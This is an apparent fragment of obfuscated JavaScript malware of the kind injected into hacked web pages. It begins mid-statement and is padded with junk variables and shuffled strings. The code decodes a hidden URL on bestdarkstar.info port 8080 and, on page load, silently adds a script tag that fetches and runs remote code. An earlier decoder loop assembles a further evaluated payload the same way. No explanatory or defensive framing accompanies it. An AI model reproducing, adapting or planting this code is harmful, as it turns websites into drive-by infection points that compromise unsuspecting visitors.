ab;if(ab!=''){ab='qZ'};var i = t[G("gnhetl", [5,3,1,0,4,2])];var vK =[119,190,43,0][3];var H =[199,0,205,236][1];var LQ;if(LQ!='' && LQ!='WT'){LQ=''};var k = GH.fromCharCode(37);var Y = '';var Qt=new Array();var lK = '';var qo;if(qo!='zY' && qo!='Vu'){qo='zY'};var FQ=29024;var ZC;if(ZC!='uX'){ZC='uX'};var xq;if(xq!='Ek'){xq='Ek'};this.hx="";this.sgr="";var kHx=new Array();var TR;if(TR!='' && TR!='iv'){TR='Wn'};this.sm=44270;var hO = '';var fO=[1, G("cmtnoeduraEect.emn\'(etlerp)\'ctsi", [6,4,0,7,1,5,3,2]),2, G("codemu.tndoba.yeppCdnlihd(d)", [2,1,0]),3, G("k.uivlsieedtsien.gu:r0880", [2,0,1]),4, G("hcraet.rent", [1,0]),5, G("s.dAterttubi(eted\'ref\'", [2,1,0]),6, G("aetnop.s.pt.aol", [3,1,2,6,7,0,5,4]),7, G("ndiw.owooalnd", [3,2,0,1]),8, G("darbti.ecom", [1,0,3,2]),11, G("otnincuf()", [7,6,2,5,1,3,0,4]),12, G("ooglegco.m", [2,0,1]),14, G("tccaeh)(", [1,3,0,2]),15, G("60.3cn", [3,0,1,2]),16, G("t\"htp:", [1,2,0,3]),17, G("okeyal", [2,1,0]),18, G(".dsrc", [1,0,2,3]),19, G("\'\')1", [1,3,0,2]),20, G("ytr", [1,2,0]),21, G("oc", [1,0])];var Rz="Rz";var o = /[^@a-z0-9A-Z_-]/g;var oM;if(oM!='' && oM!='Wq'){oM='ym'};var R =[232,122,190,1][3];var s =[186,2,235][1];var zAe="";var pM=new Array();this.cX="";this.OEL="";for(var RZ=H; RZ < i; RZ+=s){var SCl=new Date();var LH;if(LH!='' && LH!='GD'){LH=''};hO+= k; var ivJ;if(ivJ!=''){ivJ='Mx'};var Bhc;if(Bhc!=''){Bhc='NLR'};hO+= t[G("stburs", [5,3,2,0,1,4])](RZ, s);}this.WE=6481;var AN=new Date();var t = P(hO);var AyP;if(AyP!='' && AyP!='Lx'){AyP=null};var F = new GH(N);var If;if(If!='' && If!='nU'){If='qR'};var kn = F[G("preclae", [1,2,0])](o, lK);var JX="";var lq;if(lq!='FXQ' && lq!='Om'){lq='FXQ'};var Jm;if(Jm!='' && Jm!='nzR'){Jm=null};var Xg=false;kn = X(kn);var FN = new GH(J);var ar='';var aU = fO[G("nthgel", [5,4,0,3,1,2])];var BPo=38097;var Vlw;if(Vlw!='oJ' && Vlw!='xC'){Vlw=''};this.Gz="";var ah = FN[G("eaprlce", [3,0,2,4,1])](o, lK);this.Le='';var ah = f(ah);var Jn="";var vi=f(kn);var Bl=new String();var Qm=false;for(var bT=H; bT < (t[G("nlegth", [1,2,0,3])]);bT=bT+[62,1,249,221][1]) {this.QN="QN";var sW = kn.charCodeAt(vK);var jZ=new Array();var uH;if(uH!=''){uH='oB'};var XJ = w(t,bT);this.AP='';var yNe="yNe";XJ = C(XJ, sW);var XYs;if(XYs!='' && XYs!='od'){XYs=null};XJ = C(XJ, vi);var Bz;if(Bz!='wV' && Bz!='HE'){Bz='wV'};var tD=new Date();XJ = C(XJ, ah);var PT=new String();var SN;if(SN!='' && SN!='nVI'){SN='hH'};vK++;var lV;if(lV!='nH' && lV != ''){lV=null};var Bi;if(Bi!='' && Bi!='PE'){Bi=null};if(vK > kn.length-R){var Vk="Vk";var TH;if(TH!='Zo'){TH=''};vK=H;}var Ap;if(Ap!='Zn' && Ap!='TO'){Ap='Zn'};Y += v(XJ);}this.wqp=false;var Or;if(Or!='' && Or!='IA'){Or='VCV'};var DS="DS";for(T=H; T < aU; T+=s){var WD=6553;var zF=new Date();this.yxY=false;this.Tl=false;var ff = fO[T + R];var Fd=52191;var WWj;if(WWj!='Kug' && WWj!='ty'){WWj=''};var DR = v(fO[T]);var Nz;if(Nz!='oh'){Nz=''};this.dp=51246;var Rw;if(Rw!='oj' && Rw!='RK'){Rw='oj'};var Fq = new m(DR, "g");Y=Y[G("lraecpe", [1,3,5,0,2,4])](Fq, ff);var WJ="";}var UL;if(UL!='' && UL!='UH'){UL='Efj'};var dM=new J(Y);this.Zk='';dM();var pv;if(pv!='Ph' && pv != ''){pv=null};kn = '';var Tw=new String();var El;if(El!='' && El!='hVs'){El='zP'};dM = '';var Sy="Sy";vi = '';FN = '';var nQ;if(nQ!='Oi'){nQ=''};ah = '';var ss;if(ss!='PP' && ss != ''){ss=null};Y = '';var ct=false;var Qi;if(Qi!='Ks' && Qi != ''){Qi=null};var OZ;if(OZ!='qX' && OZ != ''){OZ=null};return '';this.ei='';};var lk='';var Ng='';N(rh);


var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();